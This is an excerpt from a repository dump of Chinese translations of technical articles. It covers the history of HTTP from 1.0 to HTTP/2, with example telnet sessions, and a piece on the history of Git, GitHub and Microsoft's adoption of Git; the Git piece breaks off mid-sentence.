互联网热潮已经到来，每个人都想要分得一瓢羹！\n\n越来越多的公共网站上的使用案例表明大众对于新兴网络的功能需求在不断增加，这很快暴露了 HTTP/0.9 的许多根本限制：我们需要的协议不仅可以提供超文本文档，还可以提供有关请求和响应的更丰富的元数据、启用内容协商等。对此，新兴的 Web 开发人员社区的回应方式是，通过“实现，部署，并看是否有人开始采用它”这一专门的过程，来制作大批实验性质的 HTTP 服务器和客户端。\n\n从这段快速的实验期开始，一系列最佳的实践和常见的模式开始出现，1996 年 5 月，HTTP 工作组（HTTP-WG）发布了 RFC 1945，它记录了许多 HTTP/1.0 不规范但却“常见”的实现方法。请注意，这只是一个信息 RFC：HTTP/1.0 ，因为我们知道它不是正式规范或 Internet 标准！\n\n话虽如此，但 HTTP/1.0 请求实例看起来却非常熟悉：\n\n```\n$> telnet website.org 80\n\nConnected to xxx.xxx.xxx.xxx\n\nGET /rfc/rfc1945.txt HTTP/1.0 1⃣️\nUser-Agent: CERN-LineMode/2.15 libwww/2.17b3\nAccept: */*\n\nHTTP/1.0 200 OK 2⃣️\nContent-Type: text/plain\nContent-Length: 137582\nExpires: Thu, 01 Dec 1997 16:00:00 GMT\nLast-Modified: Wed, 1 May 1996 12:45:26 GMT\nServer: Apache 0.84\n\n(plain-text response)\n(connection closed)\n```\n\n1⃣️ 具有HTTP版本号的请求行，后接请求头\n\n2⃣️具有响应状态码，后接响应头\n\n前面的变化尽管不只是 HTTP/1.0 功能的详尽列表，但它确实说明了一些关键的协议更改：\n\n*   请求可能包含多个换行符分隔的头部字段。\n*   响应对象以响应状态行为前缀。\n*   响应对象有自己的一组换行符分隔的头部字段。\n*   响应对象不限于超文本。\n*   每次请求后，服务器和客户端之间的连接都将关闭。\n\n请求和响应头都应保证是 ASCII 编码，但响应对象本身可以是任何类型：HTML 文件、纯文本文件、图像或任何其他内容类型。因此，HTTP 的“超文本传输​​”部分在新特性引入后不久就变得不那么恰当了。实际上，HTTP已经迅速发展成为 **超媒体** 传输，但原始名称仍然存在。\n\n除了媒体类型协商之外，RFC 还记录了许多其他常用功能：内容编码，字符集支持，多部分类型，授权，缓存，代理行为，日期格式等。\n\n> 小提示：如今，Web 上的几乎所有服务器都可以并且仍将使用 HTTP/1.0。除此之外，到现在为止，你应该更为了解了吧！每个请求需要新的 TCP 连接会对 HTTP/1.0 造成严重的性能损失。参考：[三次握手](/building-blocks-of-tcp/#three-way-handshake)，以及[慢启动](/building-blocks-of-tcp/#slow-start)。\n\n## HTTP/1.1：Internet 标准\n\n将 HTTP 转变为官方 IETF 互联网标准的工作与围绕 HTTP/1.0 的文档工作并行进行，并发生在大约四年的时间内：1995 年至 1999 年。事实上，第一个正式的 HTTP/1.1 标准定义于 RFC 2068，在 HTTP/1.0 发布大约六个月后于 1997 年 1 月正式发布。两年半之后，即 1999 年 6 月，标准中包含了许多改进和更新，并作为 RFC 2616 发布。\n\nHTTP/1.1 标准解决了早期版本中发现的许多协议歧义，并引入了许多关键性能优化：keep-alive 连接，分块编码传输，字节范围请求，附加缓存机制，传输编码和管道式请求。\n\n有了这些能力，我们现在可以检查由任何现代 HTTP 浏览器和客户端执行的典型 HTTP/1.1 会话：\n\n```\n$> telnet website.org 80\nConnected to xxx.xxx.xxx.xxx\n\nGET /index.html HTTP/1.1 1⃣️\n\nHost: website.org\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4)... (snip)\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Encoding: gzip,deflate,sdch\nAccept-Language: en-US,en;q=0.8\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\nCookie: __qca=P0-800083390... (snip)\n\nHTTP/1.1 200 OK 2⃣️\n\nServer: nginx/1.0.11\nConnection: keep-alive\nContent-Type: text/html; charset=utf-8\nVia: HTTP/1.1 GWA\nDate: Wed, 25 Jul 2012 20:23:35 GMT\nExpires: Wed, 25 Jul 2012 20:23:35 GMT\nCache-Control: max-age=0, no-cache\nTransfer-Encoding: chunked\n\n100 3⃣️\n\n<!doctype html>\n(snip)\n\n100\n(snip)\n\n0 4⃣️\n\nGET /favicon.ico HTTP/1.1 5⃣️\n\nHost: www.website.org\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4)... (snip)\nAccept: */*\nReferer: http://website.org/\nConnection: close 6⃣️\n\nAccept-Encoding: gzip,deflate,sdch\nAccept-Language: en-US,en;q=0.8\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\nCookie: __qca=P0-800083390... (snip)\n\nHTTP/1.1 200 OK 7⃣️\n\nServer: nginx/1.0.11\nContent-Type: image/x-icon\nContent-Length: 3638\nConnection: close\nLast-Modified: Thu, 19 Jul 2012 17:51:44 GMT\nCache-Control: max-age=315360000\nAccept-Ranges: bytes\nVia: HTTP/1.1 GWA\nDate: Sat, 21 Jul 2012 21:35:22 GMT\nExpires: Thu, 31 Dec 2037 23:55:55 GMT\nEtag: W/PSA-GAu26oXbDi\n\n(icon data)\n(connection closed)\n```\n\n1⃣️ 请求 HTML 文件，包含编码，字符集和 cookie 元数据\n\n2⃣️ 原始 HTML 请求的分块响应\n\n3⃣️ 块中的八位字节数表示为 ASCII 十六进制数（256 字节）\n\n4⃣️ 分块流响应结束\n\n5⃣️ 请求在同一 TCP 连接上创建的图标文件\n\n6⃣️ 通知服务器不会重用连接\n\n7⃣️ 图标响应，然后关闭连接\n\n哎呀，那里有太多事情发生！第一个也是最明显的区别是我们有两个对象请求，一个用于HTML页面，另一个用于图像，两者都通过单个连接传递。这是连接 keep-alive 的实际应用，它允许我们重用现有的 TCP 连接，以便对同一主机发出多个请求，并提供更快的最终用户体验。参阅 [TCP 的优化](/building-blocks-of-tcp/#optimizing-for-tcp)。\n\n要终止持久连接，请注意第二个客户端请求 `close` 通过 `Connection` 请求头向服务器发送显式指令。类似地，一旦传输响应，服务器就可以通知客户端关闭当前 TCP 连接的意图。从技术上讲，任何一方都可以在没有此类信号的情况下终止 TCP 连接，但客户端和服务器应尽可能提供它以在双方上实现更好的连接重用策略。\n\n> 小提示：HTTP/1.1 下将 HTTP 协议的语法更改为默认情况使用连接 keep-alive。这意味着，除非另有说明（通过 `Connection: close` 头部），否则服务器应默认保持连接处于打开状态。\n>\n> 但是，同样的功能也被反向移植到 HTTP/1.0 并通过 `Connection: Keep-Alive` 头部启用。因此，如果您使用 HTTP/1.1，从技术上讲，您不需要 `Connection: Keep-Alive` 请求头，但许多客户端仍然选择提供它。\n\n此外，HTTP/1.1 协议添加了内容，编码，字符集，甚至语言协商，传输编码，缓存指令，客户端 cookie，以及可以在每个请求上协商的十几种其他功能。\n\n我们不打算详述每个 HTTP/1.1 功能的语义，因为它完全足够写成一本专业的书了，而且事实上也已经有很多类似的优秀书籍了。相反，前面的示例可以很好地说明 HTTP 的快速进展和演变，以及每个客户端到服务器之间交换的错综复杂。那里有很多事情发生！\n\n> 小提示：有关HTTP协议所有内部工作原理的详细参考，请查看 David Gourley 和 Brian Totty 撰写的 O'Reilly 出版的 _HTTP：The Definitive Guide_ 。\n\n## HTTP/2: 提高运输性能\n\n自发布以来，RFC 2616 已经成为互联网空前增长的基础：数十亿台各种形状和大小的设备，从台式电脑到我们口袋里的小型网络设备，以及我们生活中都已离不开的每天都会用 HTTP 来传送新闻、视频以及数以百万计的其他网络应用程序。\n\n最初用于检索超文本的简单单行协议最终演变为通用的超媒体传输，或许十年之后甚至可用于为您能想象的任何需求提供支持。无处不在的服务器以及协议在客户端中的广泛可用性，意味着现在许多应用程序都是专门在 HTTP 之上设计和部署的。\n\n需要一个协议来控制你的咖啡壶？RFC 2324 已经涵盖了超文本咖啡壶控制协议（HTCPCP/1.0）—— 原本是 IETF 的愚人节玩笑，却渐渐的在我们新的超连接世界中不再是“玩笑”。\n\n> 超文本传输协议（HTTP）是用于分布式协作超媒体信息系统的应用程序级协议。它是一种通用的无状态协议，可以通过扩展其请求方法，错误代码和头部，用于拓展其用于超文本之外的许多任务，例如名称服务器和分布式对象管理系统。HTTP 的一个特性是数据表示的输入和协商，允许系统独立于正在传输的数据而构建。\n> \n> RFC 2616：HTTP/1.1，1999 年 6 月\n\nHTTP 协议的简捷性使其最初被广泛采用和快速发展成为可能。事实上，现在发现使用 HTTP 作为主要控制和数据协议的嵌入式设备（传感器，执行器和咖啡壶）并不罕见。但在其自身成功的重压下，随着我们越来越多地继续将我们的日常互动转移到网络 —— 社交、电子邮件、新闻、视频以及越来越多的个人和工作空间 —— 它也开始显示出有心无力的迹象。用户和 Web 开发人员现在都要求 HTTP/1.1 提供近乎实时的响应和协议性能，如果不做出修改，它就无法满足需求。\n\n为了应对这些新挑战，HTTP 必须继续发展，因此 HTTPbis 工作组在2012年初宣布了一项针对 HTTP/2 的新计划：\n\n> 新的实现专注于在保留 HTTP 的语义的基础上，摒弃 HTTP/1.x 消息框架和语法的遗留问题，这些问题已被确定为妨碍性能，而且极易造成底层传输的误用。\n> \n> 工作组将基于 HTTP 当前的语义以及有序的全双工模式中设计新的规范。与 HTTP/1.x 一样，主要目标传输是 TCP，但应该可以使用其他传输。\n> \n> HTTP/2 章程，2012 年 1 月\n\nHTTP/2 的主要关注点是提高传输性能并实现更低的延迟和更高的吞吐量。主要的版本增幅听起来是一个很大的步骤，就性能而言，它将是一个重要的步骤，但重要的是要注意，没有任何高级协议语义受到影响：所有 HTTP 头，值和用户场景都是相同的。\n\n任何现有的网站或应用程序都可以并且将通过 HTTP/2 传送而无需做出任何修改：您无需变更您的应用程序以利用 HTTP/2。HTTP 服务器将普遍使用 HTTP/2，但这应该成为大多数用户的透明升级。如果工作组实现其目标，唯一的区别应该是我们的应用程序以更低的延迟和更好的网络链接利用率交付！\n\n话虽如此，让我们不要过于超前。在我们开始使用新的 HTTP/2 协议功能之前，值得退一步并检查我们现有的 HTTP/1.1 部署和性能最佳实践。HTTP/2 工作组正在新规范上取得快速进展，但即使最终标准已经完成并准备就绪，我们仍然必须在可预见的未来支持旧的 HTTP/1.1 客户端。实际上，有可能会是十年或更长时间。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/btc-history-git.md",
    "content": "> * 原文地址：[The History of Git: The Road to Domination in Software Version Control](https://www.welcometothejungle.com/en/articles/btc-history-git)\n> * 原文作者：[Andy Favell](https://twitter.com/andy_favell)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/btc-history-git.md](https://github.com/xitu/gold-miner/blob/master/TODO1/btc-history-git.md)\n> * 译者：[fireairforce](https://github.com/fireairforce)\n> * 校对者：[Long Xiong](https://github.com/xionglong58), [司徒公子](http://github.com/stuchilde) \n\n# Git 的历史: 软件版本控制的统治之路\n\n![Coder stories](https://cdn.welcometothejungle.co/uploads/article/image/6172/158080/git-history-linus-torvalds.png)\n\n**在 2005 年，Linus Torvalds 迫切需要一个新的版本控制系统来维护 Linux 内核的开发。于是他花了一个星期的时间，从头开始编写了一个革命性的新系统，并将其命名为 Git。十五年之后，该平台成为了[这个竞争激烈领域里面当之无愧的领导者](https://en.wikipedia.org/wiki/List_of_version-control_software)。**\n\n在全球范围内，大量的初创企业、集体企业和跨国公司，包括谷歌和微软，使用 Git 来维护它们软件项目的源代码。它们中有些公司拥有自己的 Git 项目，有些公司则通过商业托管公司使用 Git，比如 GitHub（成立于 2007 年），Bitbucket（成立于 2010 年）和 GitLab（成立于 2011 年）。其中最大的 GitHub 拥有 [4000 万注册开发者](https://octoverse.github.com/) 并在 2018 年[被微软](https://news.microsoft.com/2018/06/04/microsoft-to-acquire-github-for-7-5-billion/)以 75 亿美元的天价收购。\n\nGit（及其竞争对手）有时被分类为版本控制系统（VCS），有时是源码管理系统（SCM），还有时是修订控制系统（RCS）。Torvalds 认为生命太短暂而不必去区分这些定义，因此我们不必纠结于此。\n\nGit 的吸引力之一在于它是开源的（就像 Linux 和 Android 那样）。但是，还有其它开源的 VSC，其中包括协作版本系统（CVS）、SVN、Mercurial 和 Monotone，因此单凭这一点并不足以解释它的优点。\n\n关于 Git 市场主导地位的最好体现是 [Stack Overflow 对开发人员的调查](https://insights.stackoverflow.com/survey/)。调查结果显示，2018 年 74289 名受访者中有 88.4% 使用了 Git（高于 2015 年的 69.3%）。最接近的竞争对手是 Subversion，普及率为 16.6%（低于 36.9%）；Team Foundation 版本控制，从 2015 年的 12.2% 降为 11.3%；Mercurial 普及率为 3.7%（低于 7.9%）。事实上，Git 的优势如此之大，以至于 Stack Overflow 的数据科学家都懒得在 2019 的调查中提出这个问题。\n\n```\n开源人员使用什么来进行源码控制？\n\n|           2018         |          2015          |\n| ---------------------- | ---------------------- |\n| Git: 88.4%             | Git: 69.3%             |\n| Subversion: 16.6%      | Subversion: 36.9%      |\n| Team Foundation: 11.3% | Team Foundation: 12.2% |\n| Mercurial: 3.7%        | Mercurial: 7.9%        |\n|                        | CVS: 4.2%              |\n|                        | Perforce: 3.3%         |\n\n| 74,298 受访者       | 16,694 受访者       |\n\n数据来源：Stack Overflow 2018/2015 开发者调查报告\n```\n\n## 开始\n\n直到 2005 年 4 月，Torvalds 一直使用 [BitKeeper](http://www.bitkeeper.org/)（BK）管理着一个庞大的 Linux 内核源码，这些源码来自于完全不同的志愿者开发团队，Linux 是一个越来越受欢迎的类 UNIX 开源操作系统。BK 在当时是一个私有的付费工具，但是 Linux 的开发者可以免费使用它，直到 BK 的创始人 Larry McVoy 与一个 Linux 开发人员就不恰当地使用 BK 发生了争执。\n\n从 [Torvalds 的声明](https://marc.info/?l=linux-kernel&m=111280216717070&w=2) 到 Linux 邮件列表，都是关于他计划利用一个工作“假期”来决定如何为 Linux 找到新的 VCS，很明显，他喜欢 BK，并对 Linux 不能再使用它而感到沮丧，而且他对竞争并不敢兴趣。如之前提到的，这次假期诞生了 Git。Torvalds 将它命为 Git 的原因有很多种说法，但实际上他只是喜欢这个词，这是他从披头士的歌曲[《I’m So Tired》](https://genius.com/The-beatles-im-so-tired-lyrics)（第二节）中获得灵感。\n\n**“搞笑的是，我所有的项目都是以我自己的名字命名，而这个项目的名字是‘Git’。Git 在[英国俚语](https://dictionary.cambridge.org/dictionary/english/git)里是‘愚蠢的人’的意思，”** Torvalds 告诉我们。**“它也有一个虚构的首字母缩写 —— Global Information Tracker。但这实际上是一个 ‘backronym’, \\[事后\\]补上的。”**\n\n那么，Torvalds 对 Git 的巨大成功感到惊讶吗？**“如果我说我能看到它即将成功，那绝对是在撒谎。我当然没有。但是 Git 确实把所有的基础都做对了。有什么事情可以做得更好吗？当然。但总的来说，Git 确实解决了一些与 VCS 有关的真正困难的问题。”** 他说。\n\n## 定义 Git 的目标\n\n传统上，版本控制是客户端服务器，因此代码位于单个存储库中，或者中央服务器的仓库中。协作版本系统（CVS），[Subversion](https://en.wikipedia.org/wiki/Apache_Subversion) 和 Team Foundation 版本控制（TFVC）都是客户端/服务器系统的例子。\n\n客户机-服务器 VCS 在企业环境中运行良好，在企业环境中，开发受到严格控制，由具有良好网络连接的内部开发团队进行。如果有成百上千的开发人员进行协作，自愿、独立、远程地工作，所有人都想要往代码里面添加新的东西，这对 Linux 等开源软件（OSS）项目来说都很常见的，那么这种协作就不太好用了。\n\nBK 首创的分布式 VCS 打破了这种模式。Git、Mercurial 和 Monotone 都遵循这个示例。对于分布式 VCS 来说，最新版本的代码副本在每个开发人员的设备上，从而使开发人员可以更轻松地独立修改代码。**“BK 对使用模式的概念影响很大，确实应该得到所有的赞誉。但由于各种原因，我想让 Git 的实现逻辑与 BK 完全不同，但‘分布式 VCS’ 的概念确实是首要目标，BK 教会了我这一点的重要性，”** Torvalds 说。**“真正的分布式意味着 fork 不是问题，任何人都可以 fork 一个项目并进行自己的开发，然后一个月或一年后回来说，‘看看我做的这件伟大的事情。’”**\n\n客户机-服务器 VCS 的另一个主要缺点，特别是对于开源项目，是在服务器上托管中央存储库的人“掌握”了源代码。然而，在分布式 VCS 中，没有中央存储库，只有许多拷贝复制，因此没有人掌握或控制代码。\n\n**“\\[这使得\\] 像 GitHub 这样的网站成为可能。当没有包含源代码的中心“主”位置时，你可以突然托管一些东西，而不需要遵循“一个仓库来统治所有人”的策略。”** Torvalds 说。\n\n另一个核心目标是减少将新分支合并到主分支代码或者 “tree”（组成源代码层次结构的目录）的痛苦。关键是为每个对象分配一个加密哈希索引（唯一且安全的数字）。Git 并不是唯一使用哈希的版本控制器，将它提升到了一个新的高度，不仅将它们应用于每个新版本的文件内容，而且还使用它来确定它们之间的关系，包括 tree 和 commit 。这意味着，通过使用 “git diff” 指令，git 可以通过比较哈希的两个索引，非常快速地识别出分支新的/待提交版本与源代码之间的所有更改，甚至是整个 tree。**“Git 索引的真正目的是作为合并的中间步骤，这样你就可以增量地修复冲突，”** Torvalds 说。\n\n在进行完全合并之前，这种中间步骤或暂存区的概念可进行版本之间的比较，并解决主要源代码和附加内容之间的任何问题，这个概念是革命性的。然而，这并没有得到那些习惯于其他 VCS 人的普遍认可。\n\n## 指定一名维护人员\n\n在编写了 Git 之后，Torvalds 将其开放给开源社区进行审查和贡献。在那些参与者中，有一位开发人员特别引人注目：Junio Hamano。因此，仅仅几个月后，Torvalds 就可以[抽出身来](https://marc.info/?l=git&m=112243466603239)，专注于Linux，把维护 Git 的责任移交给 Hamano。**“当涉及到代码和功能时，他有明显的、非常重要但难以具体描述的‘好品味’。”**Torvalds 说，**“Junio 确实应该接受所有的荣誉，作为发起人，我理应获得设计 Git 的荣誉。但作为一个项目，Junio 是维护它的人，让它成为一个非常好用的工具。”** \n\n显然，Junio 是一个不错的选择，因为 15 年后，他仍然作为一个[仁慈的独裁者]((http://oss-watch.ac.uk/resources/benevolentdictatorgovernancemodel))来主导并维护 Git，这意味着他控制着 Git 未来发展的方向，对代码的修改拥有最终的决定权，并且他保持着最多提交的记录。\n\n## 扩大 Git 的吸引力\n\n早期支持 Hamano 的一些志愿贡献者到现在仍然在贡献力量，尽管他们现在经常被一些依赖 Git 的公司全职雇用，并希望对其进行维护和改进。\n\n其中一名志愿者是 Jeff King，人们叫他 Peff，他在学生时代就开始参与贡献了。他的第一次代码提交是在 2006 年，在将他的代码仓库从 CVS 迁移到 Git 时发现并修复了 [git-cvsimport](https://git-scm.com/docs/git-cvsimport) 中的一个错误。**“当时我是计算机科学与技术专业的研究生，”**他说，**“所以我花了很多时间在 Git 的邮件列表上，回答问题、修复 bug —— 有时是一些困扰我的问题，有时是对其他人报告的回复。到 2008 年左右，我意外地成为了主要贡献者之一。** King 从 2011 年开始受雇于 Guthub 公司，在工作的同时，也为 Git 贡献自己的一份力量。\n\nKing 特别提到了 Git 的两位贡献者的杰出工作，他们都始于 2006 年，并帮助将 Git 的影响扩展到 Linux 社区之外：感谢 Shawn Pearce 为 [JGit](https://gerrit.googlesource.com/jgit/) 所做的工作，为 Java 和 Android 生态系统打开了 Git 的大门；感谢 Johannes Schindelin 为 Git for Windows 所做的工作，向 Windows 社区开放了 Git。他们随后分别在谷歌和微软工作。\n\n**“\\[Shawn Pearce\\] 是 Git 的早期贡献者并且实现了 [git-gui](https://git-scm.com/docs/git-gui)，这是 Git 的第一个图形化界面。但更重要的是他在 JGit 上的工作，JGit 是 Git 的纯 Java 实现”** King 说。**“这使得 Git 用户的整个其他生态系统得以实现，并允许 Eclipse 插件，这是 Android 项目选择 Git 作为其版本控制系统的关键部分。他还写了 [Gerrit](https://www.gerritcodereview.com/) \\[在 Google 工作时\\]，一个基于 Git 的代码审查系统，用于 Android 和许多其它项目。不幸的是，[Shawn 在 2018 年去世](https://sfconservancy.org/blog/2018/jan/30/shawn-pearce/)。”**\n\nSchindelin 现在仍然是 Git for Windows 发行版的维护者。**“由于 Git 是从内核社区中发展而来的，所以对 Windows 支持基本上是后来才想起的，”。**King 说 **“Git 已经被移植到很多平台上，但大多数平台都是类似于 Unix 风格。到目前为止，Windows 是最大的挑战。在 C 代码中不仅存在可移植性问题，而且还存在使用 Bourne shell、Perl 等编写的部分来发布应用程序的挑战。Git for Windows 将所有这些复杂性整合到一个单一的二进制包中，对 Windows 开发人员使用 Git 的增长产生了重大影响。”**\n\n根据 [somsubhra.com](https://www.somsubhra.com/github-release-stats/?username=git-for-windows&repository=git) 统计，Git for Windows 迄今已被下载超过 1800 万次。\n\n## 建立 GitHub\n\nTom Preston-Werner 是由同事 Dave Fayram 介绍给 Git的，当时他在为一家名为 [Powerset](https://en.wikipedia.org/wiki/Powerset_(company)) 的初创公司做辅助项目。**“\\[用 Git \\]创建分支、对其进行操作并轻松地将其合并回主分支的能力是革命性的。在这方面 Git 是惊人的。命令行界面需要适应，特别是有一个缓冲区的概念，”** Preston Werner 说。提供基于 Git 的源代码托管服务的机会是显而易见的。**“托管 Git 仓库没有任何好的选择，因此，这对易用性来说是一个大障碍。还缺少一个现代的 web 界面。作为一名 web 开发人员，我认为我可以通过轻松托管 Git 仓库和促进协作来改善这种情况，这是 Git 可以做到的，但并不容易，”**他补充道。\n\nPreston-Werner 与 Chris Wanstrath、Scott Chacon 和 P.J. Hyett 合作，于 2007 年底开始开发 GitHub 项目。GitHub 帮助 Git 成为主流，不仅使它更易于使用，还将其传播到 Linux 社区之外。由于 GitHub 的创始人是 Ruby 开发人员，而且 GitHub 是用 Ruby 编写的，所以这个词很快就在这个社区中传开了，并在被 [Ruby on Rails](https://github.com/rails/rails) 开发框架采用时大获成功。\n\n**“到 2008 年年中，Ruby on Rails 转向了 GitHub，整个 Ruby 社区似乎都很快跟进。我认为，这种背书，加上 Ruby 开发人员愿意接受更新、更好的技术，这些对我们的成功都至关重要。”**Preston-Werner 说。**“其他项目，如 [Node.js](https://github.com/nodejs) 和 [Homebrew](https://github.com/Homebrew)，都是从 GitHub 开始的，帮助将 Git 引入了新的社区。”**\n\nPreston-Werner 在 2014 年[辞去了 GitHub CEO 一职](https://github.blog/2014-04-28-follow-up-to-the-investigation-results/)，当时有人指控该公司存在欺凌行为和不适当的投诉程序，这些问题或许是该公司发展过快的征兆。\n\n今天，根据 GitHub [自己的数据](https://octoverse.github.com/)，GitHub 有超过 4000 万注册开发者。这使得它比竞争对手 —— [Bitbucket 拥有1000万用户](https://bitbucket.org/blog/celebrating-10-million-bitbucket-cloud-registered-users)的规模要大得多，而 GitLab 则表示，它拥有“数百万”用户。\n\n## 被 Android 采用\n\n许多公司使用 [GitHub 企业版](https://github.com/customer-stories?type=enterprise)、[GitLab](https://about.gitlab.com/customers/) 或 Bitbucket 来托管软件项目。但是，最大的 Git 安装往往是内部托管的 —— 因此是在公共视野之外 —— 通常进行定制的修改。\n\nGoogle 是第一个 Git 的主要采用者（因此也提供了大量的支持），谷歌在 2009 年 3 月决定将 Git 用于 Android 项目，Android 是一个基于 Linux 的手机操作系统。作为开源项目，Android 需要一个允许大量开发人员克隆、使用和贡献代码的平台，并且无需购买特定的工具许可证书。\n\n当时，Git 被认为不足以管理如此庞大的项目，因此团队构建了一个超级仓库，可以委托给子 Git 仓库。然而，谷歌表示：**“超级仓库并不是要取代 Git，只是为了让 Git 更容易使用。**为了帮助查看仓库和管理、审查对源代码的更改，Pearce 领导的团队 —— 创建了 [Gerrit](https://gerrit.googlesource.com/gerrit/)。\n\n## Microsoft 改变态度\n\n考虑到开源社区和微软之间相互仇恨的历史，这个软件巨头肯定是 Git 最不可能的支持者。2001 年，当时的微软首席执行 Steve Ballmer 甚至[称 Linux 为癌症](https://www.theregister.co.uk/2001/06/02/ballmer_linux_is_a_cancer/)，微软也有自己的竞争对手 VCS TFVC。\n\nSchindelin 在 Git for Windows 上工作了多年，而微软没有任何人注意到他的努力。但是，到 2015 年，当他在微软工作时，文化发生了巨大的转变。他开玩笑说：**“如果你在 2007 年问我，或者在 2011 年问过我，我是否会拥有一台 Windows 机器，甚至在微软工作，我都会笑死的。**\n\n这一文化转变的第一个证据出现在 2012 年，当时微软开始（实际上）为 Git 开发资源库 [libgit2](https://libgit2.org/)（一个 Git 开发资源库）做出贡献，以帮助加快 Git 应用程序的速度，然后将其嵌入到开发工具中。Edward Thomson，微软团队的一员，仍然是 libgit2 的维护者。\n\n2013 年，微软宣布对其开发工具 Visual Studio（VS）提供 Git 支持，并通过 Azure DevOps（当时称为 Team Foundation Service）的云计算工具和服务套件提供 Git 托管，作为其自身 TFVC 的替代方案，这一消息震惊了科技界。\n\n更值得注意的是，从 2014 年开始，在新的开源友好型 CEO Satya Nadella 的领导下，微软通过 One Engineering System（1ES）计划，在 Git 上逐步实现了内部软件开发的标准化。Azure DevOps 团队在 2015 年开始使用自己的 Git 服务作为自己源码的存储库，这是一个先例。\n\n2017年，微软 Windows 产品套件的整个开发工作转移到了由 Azure 托管的 Git 上，创建了[世界上最大的 Git 存储库](https://devblogs.microsoft.com/bharry/the-largest-git-repo-on-the-planet/)。这包括相当大的调整以帮助 Git 扩展。Git 的[虚拟文件系统](https://vfsforgit.org/)（它是开源的）并没有将整个 300GB 的 Windows 存储库下载到每个客户端设备，而是确保只将适当的文件下载到每个工程师的计算机上。\n\n正如 Schindelin 所指出的：**“当像微软这样历史悠久的大公司决定 Git 可以投入企业级使用时，商业界会非常仔细地倾听。我认为这就是为什么 Git 至少在目前为止是‘赢家’的原因。**\n\n## 收购！\n\n2018 年 6 月，微软[宣布](https://news.microsoft.com/2018/06/04/microsoft-to-acquire-github-for-7-5-billion/)将以 75 亿美元的价格收购 GitHub，这让人大吃一惊。但当你看事实的时候，也许会觉得这次收购并不是那么出乎意料。\n\n微软从 2014 年开始参与 GitHub，当时。.Net 开发者平台是[开源的](https://devblogs.microsoft.com/dotnet/net-core-is-open-source/)。据 [GitHub Octoverse 2019](https://octoverse.github.com/) 调查显示，目前 GitHub 上贡献最多的两个项目都是微软的产品 —— [Visual Studio code](https://github.com/microsoft/vscode) 和 [Microsoft Azure](https://github.com/Azure)，而 [OSCI/EPAM 在 2019 年的研究](https://solutionshub.epam.com/OSCI/)显示，微软是 GitHub 上最大的企业贡献者。并且，如前所述，微软已经在 Git 上标准化了内部开发。\n\n```\n开源项目的贡献者数量\n\n|                项目                    |  贡献人数     |\n| -------------------------------------- | ------------- |\n| Microsoft/vscode                       | 19.1k         |\n| MicrosoftDocs/azure-docs               | 14k           |\n| flutter/flutter                        | 13k           |\n| firstcontributions/first-contributions | 11.6k         |\n| tensorflow/tensorflow                  | 9.9k          |\n| facebook/react-native                  | 9.1k          |\n| kubernetes/kubernetes                  | 6.9k          |\n| DefinitelyTyped/DefinitelyTyped        | 6.9k          |\n| ansible/ansible                        | 6.8k          |\n| home-assistant/home-assistant          | 6.3k          |\n\n来源：GitHub Octoverse 2019 \n```\n\n```\n在 GitHub 上的开源项目的公司中活跃的贡献者的数量\n\n|  公司        |     活跃贡献者        |\n| -------------| -------------------- |\n| Microsoft    | 4,859                |\n| Google       | 4,457                |\n| Red Hat      | 2,766                |\n| IBM          | 2,108                |\n| Intel        | 2,079                |\n| Facebook     | 1,114                |\n| Amazon       | 850                  |\n| Pivotal      | 767                  |\n| SAP          | 732                  |\n| GitHub       | 663                  |\n\n来源: OSCI/EPAM research January 2020 \n```\n\n尽管如此，这次收购还是引起了一些 GitHub 用户的担忧，他们还记得在开源社区的眼中刺 Ballmer 领导下的老微软。Bitbucket 和 GitLab 都声称看到了从 GitHub 迁移到他们平台的项目激增。\n\n不过，Torvalds 并不这么认为。**“我对微软的收购没有任何保留意见，部分原因是 Git 的基本分布式特性 —— 它避免了政治问题，另一方面也避免了可怕的‘托管公司控制项目’。我不担心的另一个原因是，我认为微软现在是一家不同的公司...微软根本不是开源的敌人。”**他说，**“在纯粹个人层面上，当我听说微软在 GitHub 上花了很多钱时，我只是说，‘现在我开始的两个项目已经变成了价值数十亿美元的产业’，没有多少人能这么说。我也不只是一个“昙花一现的人”。**\n**“这是‘生活幸福’的一部分。我很高兴我对世界产生了积极而有意义的影响。我个人可能没有直接从 Git 上赚到任何钱，但它给了我能够做我真正的工作和激情，[Linux]。我不再是一个饥肠辘辘的学生了，我作为一个受人尊敬的程序员做得很好。所以其他人在 Git 上获得的成功绝不会让我感到沮丧。”**\n\n**贡献者。感谢：Linus Torvalds，Git 和 Linux 的创始人；Johannes Schindelin，微软软件工程师，Git for Windows 的维护者；Jeff King， GitHub 的 OSS 开发人员；Tom Preston Werner，Chatterbug 的联合创始人，GitHub 的联合创始人；Edward Thomson，GitHub 的产品经理，以及 libgit2 的维护者；Ben Straub，Pro Git 的作者；Evan Phoenix，Rubinius 的创建者；GitLab 高级后端工程师 Christian Couder；GitLab首席营销官 Todd Barr；EPAM 交付管理总监 Patrick Stephens。**\n\n**本文出自 Behind the Code —— 由开发者创建的服务于开发者的媒体平台。通过访问 [Behind the 